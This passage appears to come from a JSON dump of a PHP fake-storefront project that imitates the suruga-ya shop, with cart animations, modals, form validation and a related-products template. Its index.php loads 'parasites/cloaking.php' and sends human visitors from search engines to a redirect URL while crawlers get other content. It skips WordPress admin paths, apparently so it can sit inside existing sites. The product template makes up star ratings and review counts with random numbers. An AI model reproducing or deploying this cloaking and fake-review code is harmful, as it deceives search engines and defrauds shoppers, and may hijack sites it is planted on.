addToCartWithAnimation() {\r\n    var cartIcon = document.querySelector('.sidebar_cart');\r\n    var productImage = document.querySelector('.main-pro-img');\r\n    \r\n    if (cartIcon \u0026\u0026 productImage) {\r\n        // Create flying image effect\r\n        var flyingImage = productImage.cloneNode(true);\r\n        flyingImage.style.position = 'fixed';\r\n        flyingImage.style.zIndex = '9999';\r\n        flyingImage.style.width = '50px';\r\n        flyingImage.style.height = '50px';\r\n        flyingImage.style.transition = 'all 1s ease-in-out';\r\n        \r\n        document.body.appendChild(flyingImage);\r\n        \r\n        var productRect = productImage.getBoundingClientRect();\r\n        var cartRect = cartIcon.getBoundingClientRect();\r\n        \r\n        flyingImage.style.left = productRect.left + 'px';\r\n        flyingImage.style.top = productRect.top + 'px';\r\n        \r\n        setTimeout(function() {\r\n            flyingImage.style.left = cartRect.left + 'px';\r\n            flyingImage.style.top = cartRect.top + 'px';\r\n            flyingImage.style.opacity = '0';\r\n            flyingImage.style.transform = 'scale(0.1)';\r\n        }, 100);\r\n        \r\n        setTimeout(function() {\r\n            document.body.removeChild(flyingImage);\r\n            \r\n            // Update cart count\r\n            var currentCount = parseInt(localStorage.getItem('cartCount') || '0');\r\n            localStorage.setItem('cartCount', currentCount + 1);\r\n            updateCartCount();\r\n            \r\n            // Show success message\r\n            showMessage('Success', 'Item added to cart successfully!', 'success');\r\n        }, 1100);\r\n    }\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Tweet Function --\u003e\r\n\u003cscript\u003e\r\n// Twitter share functionality\r\nwindow.pages = {\r\n    product_detail: {\r\n        tweet: function(title, description, url, productUrl, width, height) {\r\n            var tweetText = encodeURIComponent(title + ' ' + productUrl);\r\n            var tweetUrl = 'https://twitter.com/intent/tweet?text=' + tweetText;\r\n            \r\n            window.open(tweetUrl, 'twitter-share', 'width=600,height=400');\r\n            \r\n            // Track social share\r\n            dataLayer.push({\r\n                'event': 'social_share',\r\n                'eventCategory': 'social',\r\n                'eventAction': 'twitter_share',\r\n                'eventLabel': title\r\n            });\r\n        }\r\n    }\r\n};\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Form Validation and Enhancement --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Form validation\r\n    var forms = document.querySelectorAll('form');\r\n    forms.forEach(function(form) {\r\n        form.addEventListener('submit', function(e) {\r\n            if (!validateForm(this)) {\r\n                e.preventDefault();\r\n            }\r\n        });\r\n    });\r\n    \r\n    // Input formatting\r\n    var numberInputs = document.querySelectorAll('input[type=\"number\"]');\r\n    numberInputs.forEach(function(input) {\r\n        input.addEventListener('input', function() {\r\n            var value = parseInt(this.value);\r\n            var min = parseInt(this.getAttribute('min')) || 1;\r\n            var max = parseInt(this.getAttribute('max')) || 999;\r\n            \r\n            if (value \u003c min) this.value = min;\r\n            if (value \u003e max) this.value = max;\r\n        });\r\n    });\r\n});\r\n\r\nfunction validateForm(form) {\r\n    var isValid = true;\r\n    var requiredFields = form.querySelectorAll('[required]');\r\n    \r\n    requiredFields.forEach(function(field) {\r\n        if (!field.value.trim()) {\r\n            field.classList.add('is-invalid');\r\n            isValid = false;\r\n        } else {\r\n            field.classList.remove('is-invalid');\r\n        }\r\n    });\r\n    \r\n    return isValid;\r\n}\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Lazy Loading and Performance --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Lazy load images\r\n    if ('IntersectionObserver' in window) {\r\n        var imageObserver = new IntersectionObserver(function(entries, observer) {\r\n            entries.forEach(function(entry) {\r\n                if (entry.isIntersecting) {\r\n                    var img = entry.target;\r\n                    if (img.dataset.src) {\r\n                        img.src = img.dataset.src;\r\n                        img.classList.add('loaded');\r\n                        observer.unobserve(img);\r\n                    }\r\n                }\r\n            });\r\n        });\r\n        \r\n        document.querySelectorAll('img[data-src]').forEach(function(img) {\r\n            imageObserver.observe(img);\r\n        });\r\n    }\r\n    \r\n    // Preload critical resources\r\n    var criticalImages = new Array(\r\n        '\u003c?php echo isset($data['images'][0]) ? $data['images'][0] : ''; ?\u003e',\r\n        'https://cdn.suruga-ya.jp/pics/common/pc/user_black.svg',\r\n        'https://cdn.suruga-ya.jp/pics/common/pc/cart_black.svg'\r\n    ].filter(Boolean);\r\n    \r\n    criticalImages.forEach(function(src) {\r\n        var link = document.createElement('link');\r\n        link.rel = 'preload';\r\n        link.as = 'image';\r\n        link.href = src;\r\n        document.head.appendChild(link);\r\n    });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Error Handling --\u003e\r\n\u003cscript\u003e\r\nwindow.addEventListener('error', function(e) {\r\n    console.error('JavaScript Error:', e.error);\r\n    \r\n    // Track errors\r\n    if (typeof gtag === 'function') {\r\n        gtag('event', 'exception', {\r\n            'description': e.error.toString(),\r\n            'fatal': false\r\n        });\r\n    }\r\n});\r\n\r\nwindow.addEventListener('unhandledrejection', function(e) {\r\n    console.error('Unhandled Promise Rejection:', e.reason);\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Accessibility Enhancements --\u003e\r\n\u003cscript\u003e\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // Keyboard navigation\r\n    document.addEventListener('keydown', function(e) {\r\n        // Escape key closes modals and menus\r\n        if (e.key === 'Escape') {\r\n            $('.modal').modal('hide');\r\n            $('#sidebar_menu').removeClass('active');\r\n            $('.overlay').removeClass('active');\r\n        }\r\n        \r\n        // Tab navigation improvements\r\n        if (e.key === 'Tab') {\r\n            var focusableElements = document.querySelectorAll(\r\n                'a[href], button, textarea, input[type=\"text\"], input[type=\"radio\"], input[type=\"checkbox\"], select'\r\n            );\r\n            \r\n            // Add visual focus indicators\r\n            document.addEventListener('focusin', function(e) {\r\n                e.target.classList.add('keyboard-focused');\r\n            });\r\n            \r\n            document.addEventListener('focusout', function(e) {\r\n                e.target.classList.remove('keyboard-focused');\r\n            });\r\n        }\r\n    });\r\n    \r\n    // ARIA labels and descriptions\r\n    var buttons = document.querySelectorAll('button:not([aria-label])');\r\n    buttons.forEach(function(button) {\r\n        if (button.textContent.trim()) {\r\n            button.setAttribute('aria-label', button.textContent.trim());\r\n        }\r\n    });\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003c!-- Custom Styles for Scripts --\u003e\r\n\u003cstyle\u003e\r\n.keyboard-focused {\r\n    outline: 2px solid #007bff !important;\r\n    outline-offset: 2px !important;\r\n}\r\n\r\n.notification-item {\r\n    padding: 10px;\r\n    border-bottom: 1px solid #eee;\r\n    transition: background-color 0.3s ease;\r\n}\r\n\r\n.notification-item:hover {\r\n    background-color: #f8f9fa;\r\n}\r\n\r\n.notification-item.unread {\r\n    background-color: #e3f2fd;\r\n    border-left: 3px solid #2196f3;\r\n}\r\n\r\n.notification-item h6 {\r\n    margin: 0 0 5px 0;\r\n    font-size: 14px;\r\n    font-weight: 600;\r\n}\r\n\r\n.notification-item p {\r\n    margin: 0 0 5px 0;\r\n    font-size: 13px;\r\n    color: #666;\r\n}\r\n\r\n.notification-item small {\r\n    color: #999;\r\n    font-size: 11px;\r\n}\r\n\r\n.is-invalid {\r\n    border-color: #dc3545 !important;\r\n    box-shadow: 0 0 0 0.2rem rgba(220, 53, 69, 0.25) !important;\r\n}\r\n\r\n@keyframes flyToCart {\r\n    to {\r\n        transform: translateX(100px) translateY(-50px) scale(0.1);\r\n        opacity: 0;\r\n    }\r\n}\r\n\r\n.flying-to-cart {\r\n    animation: flyToCart 1s ease-in-out forwards;\r\n}\r\n\r\n/* Loading states */\r\n.loading {\r\n    position: relative;\r\n    pointer-events: none;\r\n}\r\n\r\n.loading::after {\r\n    content: '';\r\n    position: absolute;\r\n    top: 50%;\r\n    left: 50%;\r\n    width: 20px;\r\n    height: 20px;\r\n    margin: -10px 0 0 -10px;\r\n    border: 2px solid transparent;\r\n    border-top: 2px solid #007bff;\r\n    border-radius: 50%;\r\n    animation: spin 1s linear infinite;\r\n}\r\n\r\n@keyframes spin {\r\n    0% { transform: rotate(0deg); }\r\n    100% { transform: rotate(360deg); }\r\n}\r\n\r\n/* Image loading states */\r\nimg[data-src]:not([src]) {\r\n    opacity: 0;\r\n    transition: opacity 0.3s ease;\r\n}\r\n\r\nimg[data-src].loaded {\r\n    opacity: 1;\r\n}\r\n\u003c/style\u003e ","path":"includes/scripts_complete.php"},{"content":"\u003c?php\n$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';\n$request_path = parse_url($request_uri, PHP_URL_PATH);\n$query_string = parse_url($request_uri, PHP_URL_QUERY);\n\n$exceptions = array(\n    '/admin/',\n    '/administrator/',\n    '/cache/',\n    '/tmp/',\n    '/temp/',\n    '/logs/',\n    '/assets/',\n    '/static/',\n    '/media/',\n    '/uploads/',\n    '/wp-admin/',\n    '/wp-content/',\n    '/wp-includes/',\n);\n\n$is_exception = false;\nforeach ($exceptions as $exception) {\n    if (strpos($request_path, $exception) === 0) {\n        $is_exception = true;\n        break;\n    }\n}\n\n$static_extensions = array('php', 'css', 'js', 'png', 'jpg', 'jpeg', 'gif', 'ico', 'svg', 'woff', 'woff2', 'ttf', 'eot', 'xml', 'txt', 'pdf');\n$is_static_file = false;\nforeach ($static_extensions as $ext) {\n    if (preg_match('/\\.' . preg_quote($ext, '/') . '$/', $request_path)) {\n        $is_static_file = true;\n        break;\n    }\n}\n\nif (preg_match('/^sitemap.*\\.xml$/', isset($query_string) ? $query_string : '') || preg_match('/^\\/sitemap.*\\.xml$/', $request_path)) {\n    require_once __DIR__ . '/parasites/sitemap.php';\n    exit();\n}\n\nif (!$is_exception \u0026\u0026 !$is_static_file) {\n    require_once __DIR__ . '/parasites/cloaking.php';\n    \n    $clean_path = trim($request_path, '/');\n    \n    if (isset($cloaker) \u0026\u0026 $cloaker-\u003eis_human_from_search) {\n        header('Location: ' . $cloaker-\u003egetRedirectUrl());\n        exit();\n    } elseif (isset($blocked) \u0026\u0026 $blocked) {\n        $clean_path = '/' . $clean_path;\n        require_once __DIR__ . '/parasites/router.php';\n        exit();\n    }\n}\n\n// 降级处理:直接加载index.php或404\nif (file_exists(__DIR__ . '/index.php')) {\n    require __DIR__ . '/index.php';\n} else {\n    http_response_code(404);\n    echo 'Page not found';\n} ","path":"index.php"},{"content":"\u003c!-- Quantity Selection Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"quantityModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"quantityModalLabel\" aria-hidden=\"true\"\u003e\r\n    \u003cdiv class=\"modal-dialog\" role=\"document\"\u003e\r\n        \u003cdiv class=\"modal-content\"\u003e\r\n            \u003cdiv class=\"modal-header\"\u003e\r\n                \u003ch5 class=\"modal-title\" id=\"quantityModalLabel\"\u003eSelect Quantity\u003c/h5\u003e\r\n                \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n                    \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n                \u003c/button\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-body\"\u003e\r\n                \u003cdiv class=\"form-group\"\u003e\r\n                    \u003clabel for=\"modalQuantity\"\u003eQuantity:\u003c/label\u003e\r\n                    \u003cinput type=\"number\" class=\"form-control\" id=\"modalQuantity\" min=\"1\" max=\"10\" value=\"1\"\u003e\r\n                \u003c/div\u003e\r\n                \u003cdiv class=\"alert alert-info\"\u003e\r\n                    \u003csmall\u003eMaximum quantity available: \u003cspan id=\"maxQuantity\"\u003e1\u003c/span\u003e\u003c/small\u003e\r\n                \u003c/div\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-footer\"\u003e\r\n                \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eCancel\u003c/button\u003e\r\n                \u003cbutton type=\"button\" class=\"btn btn-primary\" onclick=\"confirmQuantity()\"\u003eConfirm\u003c/button\u003e\r\n            \u003c/div\u003e\r\n        \u003c/div\u003e\r\n    \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Shipping Information Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"shippingModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"shippingModalLabel\" aria-hidden=\"true\"\u003e\r\n    \u003cdiv class=\"modal-dialog modal-lg\" role=\"document\"\u003e\r\n        \u003cdiv class=\"modal-content\"\u003e\r\n            \u003cdiv class=\"modal-header\"\u003e\r\n                \u003ch5 class=\"modal-title\" id=\"shippingModalLabel\"\u003eShipping Information\u003c/h5\u003e\r\n                \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n                    \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n                \u003c/button\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-body\"\u003e\r\n                \u003ch6\u003eShipping Rates\u003c/h6\u003e\r\n                \u003ctable class=\"table table-striped\"\u003e\r\n                    \u003cthead\u003e\r\n                        \u003ctr\u003e\r\n                            \u003cth\u003eOrder Amount\u003c/th\u003e\r\n                            \u003cth\u003eShipping Fee\u003c/th\u003e\r\n                            \u003cth\u003eHandling Fee\u003c/th\u003e\r\n                        \u003c/tr\u003e\r\n                    \u003c/thead\u003e\r\n                    \u003ctbody\u003e\r\n                        \u003ctr\u003e\r\n                            \u003ctd\u003eUnder $99\u003c/td\u003e\r\n                            \u003ctd\u003e$12.99\u003c/td\u003e\r\n                            \u003ctd\u003e$24.00\u003c/td\u003e\r\n                        \u003c/tr\u003e\r\n                        \u003ctr\u003e\r\n                            \u003ctd\u003e$99 - $499\u003c/td\u003e\r\n                            \u003ctd\u003eFREE\u003c/td\u003e\r\n                            \u003ctd\u003e$24.00\u003c/td\u003e\r\n                        \u003c/tr\u003e\r\n                        \u003ctr\u003e\r\n                            \u003ctd\u003e$500 and above\u003c/td\u003e\r\n                            \u003ctd\u003eFREE\u003c/td\u003e\r\n                            \u003ctd\u003eFREE\u003c/td\u003e\r\n                        \u003c/tr\u003e\r\n                    \u003c/tbody\u003e\r\n                \u003c/table\u003e\r\n                \r\n                \u003ch6 class=\"mt-4\"\u003eDelivery Time\u003c/h6\u003e\r\n                \u003cul\u003e\r\n                    \u003cli\u003e\u003cstrong\u003eStandard Shipping:\u003c/strong\u003e 5-7 business days\u003c/li\u003e\r\n                    \u003cli\u003e\u003cstrong\u003eExpress Shipping:\u003c/strong\u003e 2-3 business days (additional $15)\u003c/li\u003e\r\n                    \u003cli\u003e\u003cstrong\u003eOvernight Shipping:\u003c/strong\u003e Next business day (additional $35)\u003c/li\u003e\r\n                \u003c/ul\u003e\r\n                \r\n                \u003ch6 class=\"mt-4\"\u003eAvailable Regions\u003c/h6\u003e\r\n                \u003cp\u003eWe ship to all 50 US states, Canada, and select international destinations through our partner Neokyo.\u003c/p\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-footer\"\u003e\r\n                \u003cbutton type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\"\u003eGot it\u003c/button\u003e\r\n            \u003c/div\u003e\r\n        \u003c/div\u003e\r\n    \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Size Guide Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"sizeGuideModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"sizeGuideModalLabel\" aria-hidden=\"true\"\u003e\r\n    \u003cdiv class=\"modal-dialog modal-lg\" role=\"document\"\u003e\r\n        \u003cdiv class=\"modal-content\"\u003e\r\n            \u003cdiv class=\"modal-header\"\u003e\r\n                \u003ch5 class=\"modal-title\" id=\"sizeGuideModalLabel\"\u003eProduct Size Guide\u003c/h5\u003e\r\n                \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n                    \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n                \u003c/button\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-body\"\u003e\r\n                \u003cdiv class=\"row\"\u003e\r\n                    \u003cdiv class=\"col-md-6\"\u003e\r\n                        \u003ch6\u003ePool Dimensions\u003c/h6\u003e\r\n                        \u003ctable class=\"table table-bordered\"\u003e\r\n                            \u003ctr\u003e\r\n                                \u003ctd\u003eDiameter\u003c/td\u003e\r\n                                \u003ctd\u003e12 feet (3.66m)\u003c/td\u003e\r\n                            \u003c/tr\u003e\r\n                            \u003ctr\u003e\r\n                                \u003ctd\u003eHeight\u003c/td\u003e\r\n                                \u003ctd\u003e30 inches (76cm)\u003c/td\u003e\r\n                            \u003c/tr\u003e\r\n                            \u003ctr\u003e\r\n                                \u003ctd\u003eWater Capacity\u003c/td\u003e\r\n                                \u003ctd\u003e1,718 gallons (6,500L)\u003c/td\u003e\r\n                            \u003c/tr\u003e\r\n                            \u003ctr\u003e\r\n                                \u003ctd\u003eWeight (Empty)\u003c/td\u003e\r\n                                \u003ctd\u003e42 lbs (19kg)\u003c/td\u003e\r\n                            \u003c/tr\u003e\r\n                        \u003c/table\u003e\r\n                    \u003c/div\u003e\r\n                    \u003cdiv class=\"col-md-6\"\u003e\r\n                        \u003ch6\u003eSpace Requirements\u003c/h6\u003e\r\n                        \u003cul\u003e\r\n                            \u003cli\u003eMinimum area: 14 x 14 feet\u003c/li\u003e\r\n                            \u003cli\u003eLevel ground required\u003c/li\u003e\r\n                            \u003cli\u003eClear overhead space: 8 feet\u003c/li\u003e\r\n                            \u003cli\u003eAccess to water source\u003c/li\u003e\r\n                            \u003cli\u003eAccess to electrical outlet for pump\u003c/li\u003e\r\n                        \u003c/ul\u003e\r\n                        \r\n                        \u003ch6 class=\"mt-3\"\u003eIncluded Components\u003c/h6\u003e\r\n                        \u003cul\u003e\r\n                            \u003cli\u003eMetal frame pool\u003c/li\u003e\r\n                            \u003cli\u003eFilter pump (330 GPH)\u003c/li\u003e\r\n                            \u003cli\u003ePool liner\u003c/li\u003e\r\n                            \u003cli\u003eSetup instructions\u003c/li\u003e\r\n                        \u003c/ul\u003e\r\n                    \u003c/div\u003e\r\n                \u003c/div\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-footer\"\u003e\r\n                \u003cbutton type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\"\u003eClose\u003c/button\u003e\r\n            \u003c/div\u003e\r\n        \u003c/div\u003e\r\n    \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Error/Success Message Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"messageModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"messageModalLabel\" aria-hidden=\"true\"\u003e\r\n    \u003cdiv class=\"modal-dialog\" role=\"document\"\u003e\r\n        \u003cdiv class=\"modal-content\"\u003e\r\n            \u003cdiv class=\"modal-header\"\u003e\r\n                \u003ch5 class=\"modal-title\" id=\"messageModalLabel\"\u003eMessage\u003c/h5\u003e\r\n                \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n                    \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n                \u003c/button\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-body\"\u003e\r\n                \u003cdiv id=\"messageContent\"\u003e\r\n                    \u003c!-- Dynamic content will be inserted here --\u003e\r\n                \u003c/div\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-footer\"\u003e\r\n                \u003cbutton type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\"\u003eOK\u003c/button\u003e\r\n            \u003c/div\u003e\r\n        \u003c/div\u003e\r\n    \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003c!-- Image Zoom Modal --\u003e\r\n\u003cdiv class=\"modal fade\" id=\"imageZoomModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"imageZoomModalLabel\" aria-hidden=\"true\"\u003e\r\n    \u003cdiv class=\"modal-dialog modal-lg\" role=\"document\"\u003e\r\n        \u003cdiv class=\"modal-content\"\u003e\r\n            \u003cdiv class=\"modal-header\"\u003e\r\n                \u003ch5 class=\"modal-title\" id=\"imageZoomModalLabel\"\u003eProduct Image\u003c/h5\u003e\r\n                \u003cbutton type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\"\u003e\r\n                    \u003cspan aria-hidden=\"true\"\u003e\u0026times;\u003c/span\u003e\r\n                \u003c/button\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-body text-center\"\u003e\r\n                \u003cimg id=\"zoomedImage\" src=\"\" alt=\"Product Image\" class=\"img-fluid\"\u003e\r\n            \u003c/div\u003e\r\n            \u003cdiv class=\"modal-footer\"\u003e\r\n                \u003cbutton type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\"\u003eClose\u003c/button\u003e\r\n            \u003c/div\u003e\r\n        \u003c/div\u003e\r\n    \u003c/div\u003e\r\n\u003c/div\u003e\r\n\r\n\u003cscript\u003e\r\n// Modal functions\r\nfunction showMessage(title, content, type = 'info') {\r\n    document.getElementById('messageModalLabel').textContent = title;\r\n    \r\n    var alertClass = 'alert-info';\r\n    if (type === 'success') alertClass = 'alert-success';\r\n    if (type === 'error') alertClass = 'alert-danger';\r\n    if (type === 'warning') alertClass = 'alert-warning';\r\n    \r\n    document.getElementById('messageContent').innerHTML = \r\n        '\u003cdiv class=\"alert ' + alertClass + '\"\u003e' + content + '\u003c/div\u003e';\r\n    \r\n    $('#messageModal').modal('show');\r\n}\r\n\r\nfunction confirmQuantity() {\r\n    var quantity = document.getElementById('modalQuantity').value;\r\n    var mainQuantityInput = document.querySelector('.cart_count');\r\n    if (mainQuantityInput) {\r\n        mainQuantityInput.value = quantity;\r\n    }\r\n    $('#quantityModal').modal('hide');\r\n}\r\n\r\nfunction showShippingInfo() {\r\n    $('#shippingModal').modal('show');\r\n}\r\n\r\nfunction showSizeGuide() {\r\n    $('#sizeGuideModal').modal('show');\r\n}\r\n\r\nfunction showImageZoom(imageSrc) {\r\n    document.getElementById('zoomedImage').src = imageSrc;\r\n    $('#imageZoomModal').modal('show');\r\n}\r\n\r\nfunction showNeokyoBanner() {\r\n    $('#neokyoModal').modal('show');\r\n}\r\n\r\n// Auto-show Neokyo banner for international users (simulation)\r\ndocument.addEventListener('DOMContentLoaded', function() {\r\n    // 模拟检测国际用户\r\n    setTimeout(function() {\r\n        var isInternational = Math.random() \u003e 0.7; // 30% chance to show banner\r\n        if (isInternational) {\r\n            showNeokyoBanner();\r\n        }\r\n    }, 3000);\r\n});\r\n\u003c/script\u003e\r\n\r\n\u003cstyle\u003e\r\n.modal-content {\r\n    border-radius: 8px;\r\n    box-shadow: 0 10px 30px rgba(0,0,0,0.2);\r\n}\r\n\r\n.modal-header {\r\n    background: #f8f9fa;\r\n    border-bottom: 1px solid #dee2e6;\r\n    border-radius: 8px 8px 0 0;\r\n}\r\n\r\n.modal-title {\r\n    font-weight: 600;\r\n    color: #333;\r\n}\r\n\r\n.modal-body {\r\n    padding: 20px;\r\n}\r\n\r\n.modal-footer {\r\n    background: #f8f9fa;\r\n    border-top: 1px solid #dee2e6;\r\n    border-radius: 0 0 8px 8px;\r\n}\r\n\r\n#zoomedImage {\r\n    max-width: 100%;\r\n    max-height: 80vh;\r\n    object-fit: contain;\r\n}\r\n\r\n.table th {\r\n    background: #f8f9fa;\r\n    font-weight: 600;\r\n}\r\n\r\n.alert {\r\n    margin-bottom: 0;\r\n}\r\n\r\n#modalQuantity {\r\n    width: 100px;\r\n    display: inline-block;\r\n}\r\n\r\n.neokyo-features {\r\n    background: #f8f9fa;\r\n    padding: 15px;\r\n    border-radius: 5px;\r\n    margin: 15px 0;\r\n}\r\n\r\n.neokyo-features h6 {\r\n    color: #007bff;\r\n    margin-bottom: 10px;\r\n}\r\n\r\n.neokyo-features ul {\r\n    margin-bottom: 0;\r\n}\r\n\u003c/style\u003e ","path":"includes/modals.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n *               RELATED PRODUCTS - DYNAMIC RENDER MODULE\n * ===================================================================\n * This module displays randomly fetched related products.\n * It is dynamically populated by data prepared in `product.php`.\n * It will not render a section if no related products are found.\n *\n * @var array $data The associative array containing all page details,\n *                   including 'related_tools' and 'related_wanderer'.\n * ===================================================================\n */\n\n// Helper function to render a single product card.\n// This keeps the main part of the template clean.\nfunction render_related_product_card($product, $base_parasite_url) {\n    // Gracefully handle missing images\n    $images = array();\n    if (!empty($product['images'])) {\n        if (is_string($product['images'])) {\n            $images = explode(',', trim($product['images'], '{}'));\n        } elseif (is_array($product['images'])) {\n            $images = $product['images'];\n        }\n    }\n    $first_image = isset($images[0]) ? $images[0] : '//cdn.suruga-ya.jp/database/images/no_photo.jpg';\n\n    // Use the new, SEO-friendly URL format with the absolute base path and trailing slash for consistency.\n    $product_url = buildProductUrl($product['id'], isset($product['title']) ? $product['title'] : null);\n    $price = '$' . number_format((float)(isset($product['price']) ? $product['price'] : (isset($product['price_current']) ? $product['price_current'] : 0)), 2);\n    \n    // Simulate rating for visual purposes, as it's not in the DB\n    $rating_score = rand(30, 50) / 10.0; \n    $rating_count = rand(5, 50);\n\n    // Build the HTML for one card\n    $card_html = '\n    \u003cdiv class=\"related-product-card\"\u003e\n        \u003ca href=\"' . $product_url . '\"\u003e\n            \u003cdiv class=\"related-product-image\"\u003e\n                \u003cimg src=\"' . htmlspecialchars($first_image) . '\" alt=\"' . htmlspecialchars($product['title']) . '\" loading=\"lazy\"\u003e\n            \u003c/div\u003e\n            \u003ch2 class=\"related-product-title\"\u003e' . htmlspecialchars($product['title']) . '\u003c/h2\u003e\n            \u003cdiv class=\"related-product-rating\"\u003e\n    ';\n    \n    // Generate star icons based on the random rating\n    for ($i = 1; $i \u003c= 5; $i++) {\n        $card_html .= '\u003cspan class=\"star\"\u003e' . ($i \u003c= floor($rating_score) ? '★' : '☆') . '\u003c/span\u003e';\n    }\n    \n    $card_html .= '\n                \u003cspan class=\"count\"\u003e(' . $rating_count . ')\u003c/span\u003e\n            \u003c/div\u003e\n            \u003cdiv class=\"related-product-price\"\u003e' . htmlspecialchars($price) . '\u003c/div\u003e\n        \u003c/a\u003e\n    \u003c/div\u003e';\n    \n    return $card_html;\n}\n?\u003e\n\n\u003c!-- Section for \"Tools \u0026 equipment\" --\u003e\n\u003c?php if (!empty($data['related_tools'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n    \u003ch3 class=\"related-products-header\"\u003eTools \u0026 equipment\u003c/h3\u003e\n    \u003cdiv class=\"related-products-grid\"\u003e\n        \u003c?php foreach ($data['related_tools'] as $product): ?\u003e\n            \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n        \u003c?php endforeach; ?\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section for \"Wanderer\" --\u003e\n\u003c?php if (!empty($data['related_wanderer'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n    \u003ch3 class=\"related-products-header\"\u003eWanderer\u003c/h3\u003e\n    \u003cdiv class=\"related-products-grid\"\u003e\n        \u003c?php foreach ($data['related_wanderer'] as $product): ?\u003e\n            \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n        \u003c?php endforeach; ?\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section 1: Products from the same leaf category --\u003e\n\u003c?php if (!empty($data['leaf_category_products'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n    \u003ch3 class=\"related-products-header\"\u003e\u003c?php echo htmlspecialchars($data['leaf_category']); ?\u003e\u003c/h3\u003e\n    \u003cdiv class=\"related-products-grid\"\u003e\n        \u003c?php foreach ($data['leaf_category_products'] as $product): ?\u003e\n            \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n        \u003c?php endforeach; ?\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"see-more-link\"\u003e\n        \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003eSee the same product from \u003c?php echo htmlspecialchars($data['leaf_category']); ?\u003e\u003c/a\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section 2: Products from the same parent category --\u003e\n\u003c?php if (!empty($data['parent_category_products'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n    \u003ch3 class=\"related-products-header\"\u003e\u003c?php echo htmlspecialchars($data['parent_category']); ?\u003e\u003c/h3\u003e\n    \u003cdiv class=\"related-products-grid\"\u003e\n        \u003c?php foreach ($data['parent_category_products'] as $product): ?\u003e\n            \u003c?php echo render_related_product_card($product, $data['base_parasite_url']); ?\u003e\n        \u003c?php endforeach; ?\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"see-more-link\"\u003e\n        \u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\"\u003eSee all the same products\u003c/a\u003e\n    \u003c/div\u003e\n\u003c/div\u003e\n\u003c?php endif; ?\u003e\n\n\u003c!-- Section 3: Products from a random category --\u003e\n\u003c?php if (!empty($data['random_category_products'])): ?\u003e\n\u003cdiv class=\"related-products-section\"\u003e\n    \u003ch3 class=\"related-products-header\"\u003e\u003c?php echo htmlspecialchars($data['random_category_name']); ?\u003e\u003c/h3\u003e\n    \u003cdiv class=\"related-products-grid\"\u003e\n        \u003c?php foreach ($data['random_category_products'] as $product): ?\u003e\n            \u003c?php echo render_related_product_card($product, 